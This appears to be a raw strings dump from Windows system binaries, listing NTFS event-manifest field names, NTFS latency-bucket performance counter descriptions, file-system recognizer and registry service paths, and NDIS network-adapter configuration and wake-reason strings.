CountDeletesInMusicArray Data Name CountDeletesInPicturesArray Data Name CountDeletesInVideosArray Data Name CountDeletesInOtherArray VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume SecondsElapsed TotalCountDeleteFile TotalCountDeleteFileLogged ProcessNamesArray CountDeletesInDesktopArray CountDeletesInDocumentsArray CountDeletesInDownloadsArray CountDeletesInMusicArray CountDeletesInPicturesArray CountDeletesInVideosArray CountDeletesInOtherArray EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FileReference Data Name FileNameLength Data Name FileName VolumeCorrelationId VolumeNameLength VolumeName FileReference FileNameLength FileName EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FileReference Data Name FileNameLength Data Name FileName Data Name UnlockReason VolumeCorrelationId VolumeNameLength VolumeName FileReference FileNameLength FileName UnlockReason EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxDurationMs Data Name ProcessId Data Name ProcessName Data Name MajorFunction Data Name MinorFunction Data Name ControlCode Data Name ResourceName Data Name WaitDurationMs Data Name HoldDurationMs Data Name CombinedDurationMs Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxDurationMs ProcessId ProcessName MajorFunction MinorFunction ControlCode ResourceName WaitDurationMs HoldDurationMs CombinedDurationMs DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name IsBootVolume Data Name MaxDurationMs Data Name ProcessId Data Name ProcessName Data Name MajorFunction Data Name MinorFunction Data Name ControlCode Data Name ResourceName Data Name WaitDurationMs Data Name HoldDurationMs Data Name CombinedDurationMs Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber VolumeCorrelationId VolumeNameLength VolumeName IsBootVolume MaxDurationMs ProcessId ProcessName MajorFunction MinorFunction ControlCode ResourceName WaitDurationMs HoldDurationMs CombinedDurationMs DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name UserFileReads Data Name UserFileReadBytes Data Name UserDiskReads Data Name UserFileWrites Data Name UserFileWriteBytes Data Name UserDiskWrites Data Name MetaDataReads Data Name MetaDataReadBytes Data Name MetaDataDiskReads Data Name MetaDataWrites Data Name MetaDataWriteBytes Data Name MetaDataDiskWrites Data Name MftReads Data Name MftReadBytes Data Name MftWrites Data Name MftWriteBytes Data Name Mft2Writes Data Name Mft2WriteBytes Data Name RootIndexReads Data Name RootIndexReadBytes Data Name RootIndexWrites Data Name RootIndexWriteBytes Data Name BitmapReads Data Name BitmapReadBytes Data Name BitmapWrites Data Name BitmapWriteBytes Data Name MftBitmapReads Data Name MftBitmapReadBytes Data Name MftBitmapWrites Data Name MftBitmapWriteBytes Data Name UserIndexReads Data Name UserIndexReadBytes Data Name UserIndexWrites Data Name UserIndexWriteBytes Data Name LogFileReads Data Name LogFileReadBytes Data Name LogFileWrites Data Name LogFileWriteBytes Data Name LogFileFull Data Name LogFileFullReasonBucket1 Data Name LogFileFullReasonBucket2 Data Name LogFileFullReasonBucket3 Data Name LogFileFullReasonBucket4 Data Name LogFileFullReasonBucket5 Data Name LogFileFullReasonBucket6 Data Name LogFileFullReasonBucket7 Data Name LogFileFullReasonBucket8 Data Name LogFileFullReasonBucket9 Data Name LogFileFullReasonBucket10 Data Name LogFileFullReasonBucket11 Data Name LogFileFullReasonBucket12 Data Name LogFileFullReasonBucket13 Data Name LogFileFullReasonBucket14 Data Name LogFileFullReasonBucket15 Data Name DiskResourceFailure Data Name VolumeTrimCount Data Name VolumeTrimTime Data Name VolumeTrimSize Data Name AvgVolumeTrimTime Data Name AvgVolumeTrimSize Data Name VolumeTrimSkippedCount Data Name VolumeTrimSkippedSize Data Name FileLevelTrimCount Data Name FileLevelTrimTime Data Name FileLevelTrimSize Data Name AvgFileLevelTrimTime Data Name AvgFileLevelTrimSize Data Name (NtfsFillStatInfoFromMftRecordCalledCount Data Name >NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount Data Name CNtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount VolumeCorrelationId VolumeNameLength VolumeName UserFileReads UserFileReadBytes UserDiskReads UserFileWrites UserFileWriteBytes UserDiskWrites MetaDataReads MetaDataReadBytes MetaDataDiskReads MetaDataWrites MetaDataWriteBytes MetaDataDiskWrites MftReads MftReadBytes MftWrites MftWriteBytes Mft2Writes Mft2WriteBytes RootIndexReads RootIndexReadBytes RootIndexWrites RootIndexWriteBytes BitmapReads BitmapReadBytes BitmapWrites BitmapWriteBytes MftBitmapReads MftBitmapReadBytes MftBitmapWrites MftBitmapWriteBytes UserIndexReads UserIndexReadBytes UserIndexWrites UserIndexWriteBytes LogFileReads LogFileReadBytes LogFileWrites LogFileWriteBytes LogFileFull LogFileFullReasonBucket1 LogFileFullReasonBucket2 LogFileFullReasonBucket3 LogFileFullReasonBucket4 LogFileFullReasonBucket5 LogFileFullReasonBucket6 LogFileFullReasonBucket7 LogFileFullReasonBucket8 LogFileFullReasonBucket9 LogFileFullReasonBucket10 LogFileFullReasonBucket11 LogFileFullReasonBucket12 LogFileFullReasonBucket13 LogFileFullReasonBucket14 LogFileFullReasonBucket15 DiskResourceFailure VolumeTrimCount VolumeTrimTime VolumeTrimSize AvgVolumeTrimTime AvgVolumeTrimSize VolumeTrimSkippedCount VolumeTrimSkippedSize FileLevelTrimCount FileLevelTrimTime FileLevelTrimSize AvgFileLevelTrimTime AvgFileLevelTrimSize NtfsFillStatInfoFromMftRecordCalledCount NtfsFillStatInfoFromMftRecordBailedBecauseOfAttributeListCount NtfsFillStatInfoFromMftRecordBailedBecauseOfNonResReparsePointCount EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FromSize Data Name ToSize Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name VolumeSizeChangeOperation Data Name VolumeSizeChangeRequestType Data Name CombinedDurationMs Data Name Stage1DurationMs Data Name Stage2DurationMs Data Name Stage3DurationMs VolumeCorrelationId VolumeNameLength VolumeName FromSize ToSize DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber VolumeSizeChangeOperation VolumeSizeChangeRequestType CombinedDurationMs Stage1DurationMs Stage2DurationMs Stage3DurationMs EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FromSize Data Name ToSize Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name VolumeSizeChangeOperation Data Name VolumeSizeChangeRequestType Data Name CombinedDurationMs Data Name Stage1DurationMs Data Name Stage2DurationMs Data Name Stage3DurationMs VolumeCorrelationId VolumeNameLength VolumeName FromSize ToSize DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber VolumeSizeChangeOperation VolumeSizeChangeRequestType CombinedDurationMs Stage1DurationMs Stage2DurationMs Stage3DurationMs EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FromSize Data Name ToSize Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name VolumeSizeChangeOperation Data Name VolumeSizeChangeRequestType Data Name CombinedDurationMs Data Name Stage1DurationMs Data Name Stage2DurationMs Data Name Stage3DurationMs Data Name FailureStage Data Name FailureStatusCode Data Name FailureReason VolumeCorrelationId VolumeNameLength VolumeName FromSize ToSize DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber VolumeSizeChangeOperation VolumeSizeChangeRequestType CombinedDurationMs Stage1DurationMs Stage2DurationMs Stage3DurationMs FailureStage FailureStatusCode FailureReason EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FromSize Data Name ToSize Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name VolumeSizeChangeOperation Data Name VolumeSizeChangeRequestType Data Name CombinedDurationMs Data Name Stage1DurationMs Data Name Stage2DurationMs Data Name Stage3DurationMs Data Name FailureStage Data Name FailureStatusCode Data Name FailureReason VolumeCorrelationId VolumeNameLength VolumeName FromSize ToSize DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber VolumeSizeChangeOperation VolumeSizeChangeRequestType CombinedDurationMs Stage1DurationMs Stage2DurationMs Stage3DurationMs FailureStage FailureStatusCode FailureReason EventData Data Name ProcessName Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name JournalId Data Name MaximumSize Data Name AllocationDelta ProcessName VolumeCorrelationId VolumeNameLength VolumeName JournalId MaximumSize AllocationDelta EventData Data Name ProcessName Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name JournalId Data Name CurrentUsn ProcessName VolumeCorrelationId VolumeNameLength VolumeName JournalId CurrentUsn EventData Data Name Reason Data Name ReasonOrigin Data Name VolumeCorrelationId Data Name VolumeName Data Name FilePath Data Name AdditionalInfo Reason ReasonOrigin VolumeCorrelationId VolumeName FilePath AdditionalInfo EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name FileReference Data Name FileNameLength Data Name FileName Data Name AttributeTypeCode Data Name AttributeNameLength Data Name AttributeName Data Name FileOffset Data Name VolumeOffset Data Name Length Data Name CalledFromWorker Data Name WorkerStatus Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name ReadDataValidOffset Data Name ReadDataValidLength Data Name ReadData Data Name PrevDataValidOffset Data Name PrevDataValidLength Data Name PrevData VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName FileReference FileNameLength FileName AttributeTypeCode AttributeNameLength AttributeName FileOffset VolumeOffset Length CalledFromWorker WorkerStatus DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber ReadDataValidOffset ReadDataValidLength ReadData PrevDataValidOffset PrevDataValidLength PrevData EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name FileReference Data Name FileNameLength Data Name FileName Data Name AttributeTypeCode Data Name AttributeNameLength Data Name AttributeName Data Name FileOffset Data Name VolumeOffset Data Name Length Data Name CalledFromWorker Data Name WorkerStatus Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name ReadDataValidOffset Data Name ReadDataValidLength Data Name ReadData Data Name PrevDataValidOffset Data Name PrevDataValidLength Data Name PrevData VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName FileReference FileNameLength FileName AttributeTypeCode AttributeNameLength AttributeName FileOffset VolumeOffset Length CalledFromWorker WorkerStatus DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber ReadDataValidOffset ReadDataValidLength ReadData PrevDataValidOffset PrevDataValidLength PrevData EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name MftDataAllocationSize Data Name MftDataFileSize Data Name MftBitmapAllocationSize Data Name MftBitmapFileSize Data Name BytesPerFRS Data Name MftDataAttrAllocatedLength Data Name MftDataAttrFileSize Data Name MftBitmapAttrHighestVcn Data Name MftBitmapAttrAllocatedLength Data Name MftBitmapAttrFileSize Data Name MftLastDataAndBitmapInSameFrs Data Name CalledFromWorker Data Name WorkerStatus Data Name MajorFunction Data Name MinorFunction Data Name SourceTag VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber MftDataAllocationSize MftDataFileSize MftBitmapAllocationSize MftBitmapFileSize BytesPerFRS MftDataAttrAllocatedLength MftDataAttrFileSize MftBitmapAttrHighestVcn MftBitmapAttrAllocatedLength MftBitmapAttrFileSize MftLastDataAndBitmapInSameFrs CalledFromWorker WorkerStatus MajorFunction MinorFunction SourceTag EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name MftDataAllocationSize Data Name MftDataFileSize Data Name MftBitmapAllocationSize Data Name MftBitmapFileSize Data Name BytesPerFRS Data Name MftDataAttrAllocatedLength Data Name MftDataAttrFileSize Data Name MftBitmapAttrHighestVcn Data Name MftBitmapAttrAllocatedLength Data Name MftBitmapAttrFileSize Data Name MftLastDataAndBitmapInSameFrs Data Name CalledFromWorker Data Name WorkerStatus Data Name MajorFunction Data Name MinorFunction Data Name SourceTag VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber MftDataAllocationSize MftDataFileSize MftBitmapAllocationSize MftBitmapFileSize BytesPerFRS MftDataAttrAllocatedLength MftDataAttrFileSize MftBitmapAttrHighestVcn MftBitmapAttrAllocatedLength MftBitmapAttrFileSize MftLastDataAndBitmapInSameFrs CalledFromWorker WorkerStatus MajorFunction MinorFunction SourceTag EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FileReference Data Name FileNameLength Data Name FileName Data Name FileLinkNameLength Data Name FileLinkName Data Name ParentFileReference Data Name ParentFileNameLength Data Name ParentFileName Data Name Reason Data Name ReasonText VolumeCorrelationId VolumeNameLength VolumeName FileReference FileNameLength FileName FileLinkNameLength FileLinkName ParentFileReference ParentFileNameLength ParentFileName Reason ReasonText EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name VolumeLabelLength Data Name VolumeLabel Data Name FileReference Data Name FileNameLength Data Name FileName Data Name BufferOffset Data Name TornStructureOffset Data Name BlockIndex Data Name ExpectedSequenceNumber Data Name ActualSequenceNumber VolumeCorrelationId VolumeNameLength VolumeName VolumeLabelLength VolumeLabel FileReference FileNameLength FileName BufferOffset TornStructureOffset BlockIndex ExpectedSequenceNumber ActualSequenceNumber EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name VolumeLabelLength Data Name VolumeLabel Data Name FileReference Data Name FileNameLength Data Name FileName Data Name BufferOffset Data Name TornStructureOffset Data Name BlockIndex Data Name ExpectedSequenceNumber Data Name ActualSequenceNumber Data Name FrsFileReference Data Name FrsFileNameLength Data Name FrsFileName Data Name IsChildFRS VolumeCorrelationId VolumeNameLength VolumeName VolumeLabelLength VolumeLabel FileReference FileNameLength FileName BufferOffset TornStructureOffset BlockIndex ExpectedSequenceNumber ActualSequenceNumber FrsFileReference FrsFileNameLength FrsFileName IsChildFRS EventData Data Name VolumeCorrelationId Data Name VolumeNameLength Data Name VolumeName Data Name FileReference Data Name FileNameLength Data Name FileName Data Name KtmTransaction VolumeCorrelationId VolumeNameLength VolumeName FileReference FileNameLength FileName KtmTransaction Microsoft-Windows-Ntfs win:Info win:Start win:Stop win:Resume win:Suspend win:Error win:Warning win:Informational Checkpoint MftRecordRead MftRecordWrite LogFileFull Rundown VolumeMount WorkItem VolumeDismount FileMetadataOptimization EfsTest TPMapBitNotSet VolumeSizeChange GlobalCorruptionActionStateChange VolumeCorruptionActionStateChange SdsCompaction LogFlushFailed Rundown VolumeMountDismount TPMapBitNotSet LogFileFull Checkpoint CleanCheckpoint PeriodicCheckpoint MftRecordRead MftRecordWrite WorkItem DirectoryStream Statistics FileMetadataOptimization EfsTest BadClusterHotFix SystemFilePages win:ResponseTime System EventData Data Name SvSvcCmd SvSvcCmd Microsoft-Windows-Ntfs-UBPM win:Informational Ntfs Bucketized Performance Ntfs Bucketized Performance The NTFS bucketized performance object consists of counters that show operations performance split by latency buckets on NTFS volumes. 1: Total Operations Count 1: Total Operations Count %2: Total time [ns] for all operations%2: Total time [ns] for all operations !3: Total bytes for all operations!3: Total bytes for all operations 4: Count bucket 01: <= 128 4: Count bucket 01: <= 128 4: Count bucket 02: <= 256 4: Count bucket 02: <= 256 4: Count bucket 03: <= 512 4: Count bucket 03: <= 512 4: Count bucket 04: <= 1 ms 4: Count bucket 04: <= 1 ms 4: Count bucket 05: <= 4 ms 4: Count bucket 05: <= 4 ms 4: Count bucket 06: <= 16 ms 4: Count bucket 06: <= 16 ms 4: Count bucket 07: <= 64 ms 4: Count bucket 07: <= 64 ms 4: Count bucket 08: <= 128 ms 4: Count bucket 08: <= 128 ms 4: Count bucket 09: <= 256 ms 4: Count bucket 09: <= 256 ms 4: Count bucket 10: <= 512 ms 4: Count bucket 10: <= 512 ms 4: Count bucket 11: <= 1 s 4: Count bucket 11: <= 1 s 4: Count bucket 12: <= 2 s 4: Count bucket 12: <= 2 s 4: Count bucket 13: <= 10 s 4: Count bucket 13: <= 10 s 4: Count bucket 14: <= 20 s 4: Count bucket 14: <= 20 s 4: Count bucket 15: <= 30 s 4: Count bucket 15: <= 30 s 4: Count bucket 16: > 30s 4: Count bucket 16: > 30s !5: Time [ns] bucket 01: <= 128 s!5: Time [ns] bucket 01: <= 128 !5: Time [ns] bucket 02: <= 256 s!5: Time [ns] bucket 02: <= 256 !5: Time [ns] bucket 03: <= 512 s!5: Time [ns] bucket 03: <= 512 5: Time [ns] bucket 04: <= 1 ms 5: Time [ns] bucket 04: <= 1 ms 5: Time [ns] bucket 05: <= 4 ms 5: Time [ns] bucket 05: <= 4 ms 5: Time [ns] bucket 06: <= 16 ms 5: Time [ns] bucket 06: <= 16 ms 5: Time [ns] bucket 07: <= 64 ms 5: Time [ns] bucket 07: <= 64 ms !5: Time [ns] bucket 08: <= 128 ms!5: Time [ns] bucket 08: <= 128 ms !5: Time [ns] bucket 09: <= 256 ms!5: Time [ns] bucket 09: <= 256 ms !5: Time [ns] bucket 10: <= 512 ms!5: Time [ns] bucket 10: <= 512 ms 5: Time [ns] bucket 11: <= 1 s 5: Time [ns] bucket 11: <= 1 s 5: Time [ns] bucket 12: <= 2 s 5: Time [ns] bucket 12: <= 2 s 5: Time [ns] bucket 13: <= 10 s 5: Time [ns] bucket 13: <= 10 s 5: Time [ns] bucket 14: <= 20 s 5: Time [ns] bucket 14: <= 20 s 5: Time [ns] bucket 15: <= 30 s 5: Time [ns] bucket 15: <= 30 s 5: Time [ns] bucket 16: > 30s 5: Time [ns] bucket 16: > 30s 6: Bytes bucket 01: <= 128 6: Bytes bucket 01: <= 128 6: Bytes bucket 02: <= 256 6: Bytes bucket 02: <= 256 6: Bytes bucket 03: <= 512 6: Bytes bucket 03: <= 512 6: Bytes bucket 04: <= 1 ms 6: Bytes bucket 04: <= 1 ms 6: Bytes bucket 05: <= 4 ms 6: Bytes bucket 05: <= 4 ms 6: Bytes bucket 06: <= 16 ms 6: Bytes bucket 06: <= 16 ms 6: Bytes bucket 07: <= 64 ms 6: Bytes bucket 07: <= 64 ms 6: Bytes bucket 08: <= 128 ms 6: Bytes bucket 08: <= 128 ms 6: Bytes bucket 09: <= 256 ms 6: Bytes bucket 09: <= 256 ms 6: Bytes bucket 10: <= 512 ms 6: Bytes bucket 10: <= 512 ms 6: Bytes bucket 11: <= 1 s 6: Bytes bucket 11: <= 1 s 6: Bytes bucket 12: <= 2 s 6: Bytes bucket 12: <= 2 s 6: Bytes bucket 13: <= 10 s 6: Bytes bucket 13: <= 10 s 6: Bytes bucket 14: <= 20 s 6: Bytes bucket 14: <= 20 s 6: Bytes bucket 15: <= 30 s 6: Bytes bucket 15: <= 30 s 6: Bytes bucket 16: > 30s 6: Bytes bucket 16: > 30s ;Total number of operations completed since last collection. OTotal time in nanoseconds it took to complete operations since last collection. -Total bytes transfered since last collection. 5Number of operations that took <= 128 s to complete. 5Number of operations that took <= 256 s to complete. 5Number of operations that took <= 512 s to complete. 3Number of operations that took <= 1 ms to complete. 3Number of operations that took <= 4 ms to complete. 4Number of operations that took <= 16 ms to complete. 4Number of operations that took <= 64 ms to complete. 5Number of operations that took <= 128 ms to complete. 5Number of operations that took <= 256 ms to complete. 5Number of operations that took <= 512 ms to complete. 2Number of operations that took <= 1 s to complete. 2Number of operations that took <= 2 s to complete. 3Number of operations that took <= 10 s to complete. 3Number of operations that took <= 20 s to complete. 3Number of operations that took <= 30 s to complete. 1Number of operations that took > 30s to complete. MTotal time in nanoseconds for all operations that took <= 128 s to complete. MTotal time in nanoseconds for all operations that took <= 256 s to complete. MTotal time in nanoseconds for all operations that took <= 512 s to complete. KTotal time in nanoseconds for all operations that took <= 1 ms to complete. KTotal time in nanoseconds for all operations that took <= 4 ms to complete. LTotal time in nanoseconds for all operations that took <= 16 ms to complete. LTotal time in nanoseconds for all operations that took <= 64 ms to complete. MTotal time in nanoseconds for all operations that took <= 128 ms to complete. MTotal time in nanoseconds for all operations that took <= 256 ms to complete. MTotal time in nanoseconds for all operations that took <= 512 ms to complete. JTotal time in nanoseconds for all operations that took <= 1 s to complete. JTotal time in nanoseconds for all operations that took <= 2 s to complete. KTotal time in nanoseconds for all operations that took <= 10 s to complete. KTotal time in nanoseconds for all operations that took <= 20 s to complete. KTotal time in nanoseconds for all operations that took <= 30 s to complete. ITotal time in nanoseconds for all operations that took > 30s to complete. CBytes transfered by all operations that took <= 128 s to complete. CBytes transfered by all operations that took <= 256 s to complete. CBytes transfered by all operations that took <= 512 s to complete. ABytes transfered by all operations that took <= 1 ms to complete. ABytes transfered by all operations that took <= 4 ms to complete. BBytes transfered by all operations that took <= 16 ms to complete. BBytes transfered by all operations that took <= 64 ms to complete. CBytes transfered by all operations that took <= 128 ms to complete. CBytes transfered by all operations that took <= 256 ms to complete. CBytes transfered by all operations that took <= 512 ms to complete. @Bytes transfered by all operations that took <= 1 s to complete. @Bytes transfered by all operations that took <= 2 s to complete. ABytes transfered by all operations that took <= 10 s to complete. ABytes transfered by all operations that took <= 20 s to complete. ABytes transfered by all operations that took <= 30 s to complete. ?Bytes transfered by all operations that took > 30s to complete. WEVT_TEMPLATE en-US \Registry\Machine\System\CurrentControlSet\Services\Fastfat \Registry\Machine\System\CurrentControlSet\Services\Udfs \Registry\Machine\System\CurrentControlSet\Services\Cdfs \FileSystem\NtfsRecognizer \Ntfs \FileSystem\FatDiskRecognizer \Fat \FileSystem\ExFatRecognizer \ExFat \FileSystem\ReFSRecognizer \ReFS \FileSystem\ReFSv1Recognizer \ReFSv1 \FileSystem\UdfsDiskRecognizer \UdfsDisk \FileSystem\FatCdRomRecognizer \FatCdrom \FileSystem\UdfsCdRomRecognizer \UdfsCdRom \FileSystem\CdfsRecognizer \Cdfs \Registry\Machine\System\CurrentControlSet\Services\Ntfs \Registry\Machine\System\CurrentControlSet\Services\ExFat \Registry\Machine\System\CurrentControlSet\Services\ReFSv1 \Registry\Machine\System\CurrentControlSet\Services\ReFS NULL \NetworkInterface\ \Device\NDIS \Parameters\Adapters\ windows.immersivecontrolpanel_cw5n1h2txyewy PortAuthReceiveAuthorizationState PortAuthSendAuthorizationState PortAuthSendControlState PortAuthReceiveControlState Ndis\IfTypes\ Environment ProcessorType NdisVersion *NetworkDirectGlobalFlags BusType *NetworkDirect MiniportName UpperBindings IoBaseAddress IoAddress IOBase InterruptNumber Interrupt MemoryMappedBaseAddress RamAddress DmaChannel NetworkAddress ImagePath PermanentAddress \Registry\Machine\System\CurrentControlSet\%ws \Device\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\%04x Reserved\ExecutionContextProfiles \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup2\%ws\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}%ws PhysicalMediaType CurrentAddress MediaType DefaultProfile ProtocolList FilterList Total, %u, DriverUpdated NetLuidIndex Lower \Registry\Machine\System\CurrentControlSet\Services InterfaceGuid Nic Auto Power Saver: Idle Count Nic Auto Power Saver: Total Time in CS (ms) Nic Auto Power Saver: Idle Time (ms) Nic Auto Power Saver: Total Nic Active + NonResiliency Time (ms) Nic Auto Power Saver: Last Resume Latency (ms) Nic Auto Power Saver: % of (Nic Active + NonResiliency) Time in Idle Dx Nic Auto Power Saver: Avg Resume Latency (ms) Nic Auto Power Saver: % of CS in Idle Dx D0_IfInUnicastPackets D0_IfOutUnicastPackets D0_IfInMulticastPackets D0_IfOutMulticastPackets D0_IfInBroadcastPackets D0_IfOutBroadcastPackets DX_IfInUnicastPackets DX_IfOutUnicastPackets DX_IfInMulticastPackets DX_IfOutMulticastPackets DX_IfInBroadcastPackets DX_IfOutBroadcastPackets SkipNdisAdaptersKeyGeneration Upper *DataLinkLayerType \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup2\Interfaces\%wZ Linkage Export NdisMp %ws:%ws NDIS \Registry\Machine\System\CurrentControlSet\Services\ *IfType SpuriousWakes_WakeReasonWakeReasonBadIndication SpuriousWakes_WakeReasonWakeReasonNoIndication SpuriousWakes_WakeReasonWakeReasonUnknown SpuriousWakes_WakeReasonLastUnknownWakeReason SpuriousWakes_WakeReasonPacketDirectedMac SpuriousWakes_WakeReasonUnspec SpuriousWakes_WakeReasonPacket SpuriousWakes_WakeReasonMediaDisconnect SpuriousWakes_WakeReasonMediaConnect SpuriousWakes_WakeReasonWlanNLODiscovery SpuriousWakes_WakeReasonWlanAPAssociationLost SpuriousWakes_WakeReasonWlanGTKHandshakeError SpuriousWakes_WakeReasonWlan4WayHandshakeRequest SpuriousWakes_WakeReasonWlanIncomingActionFrame SpuriousWakes_WakeReasonWlanDiagnosticIhvOwnReason SpuriousWakes_WakeReasonWwanRegisterState SpuriousWakes_WakeReasonWwanSMSReceive SpuriousWakes_WakeReasonWwanUSSDReceive SpuriousWakes_WakeReasonWwanPacketState SpuriousWakes_WakeReasonWwanUiccChange NetCfgInstanceId \Registry\Machine\System\CurrentControlSet\Control\NetworkSetup2\Protocols\Lookup RetiredNetCfgInstanceId *PacketDirectDomain *PacketDirect NdisCmState AlwaysStartDevice TCPIP-RS DHCPv4 DHCPv6 WLAN WWAN NCSI TEST EAP-SIM TCPIP-OID 